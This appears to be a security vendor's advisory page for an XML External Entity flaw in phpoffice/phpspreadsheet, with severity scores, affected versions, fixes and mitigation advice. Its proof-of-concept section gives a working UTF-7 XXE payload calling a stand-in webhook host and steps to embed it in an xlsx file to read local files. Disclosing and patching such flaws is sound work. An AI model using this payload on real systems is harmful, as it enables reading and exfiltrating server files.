GHSA-ghg6-32f9-2jp7 is a high-severity (CVSS 8.8) XML External Entity (XXE) vulnerability in phpoffice/phpspreadsheet. 1 public exploit reference exists, so weaponization risk is real. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.
XXE in PHPSpreadsheet encoding is returned
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-ghg6-32f9-2jp7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-ghg6-32f9-2jp7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.29.1composer require phpoffice/phpspreadsheet:^1.29.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.2.1 | 2.2.1composer require phpoffice/phpspreadsheet:^2.2.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.1 | 2.1.1composer require phpoffice/phpspreadsheet:^2.1.1 |
| 🐘Packagist | phpoffice/phpexcel | all versions | No fix |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 1.29.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ghg6-32f9-2jp7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-ghg6-32f9-2jp7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-ghg6-32f9-2jp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ghg6-32f9-2jp7 in your dependencies?
O3 Security finds GHSA-ghg6-32f9-2jp7 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.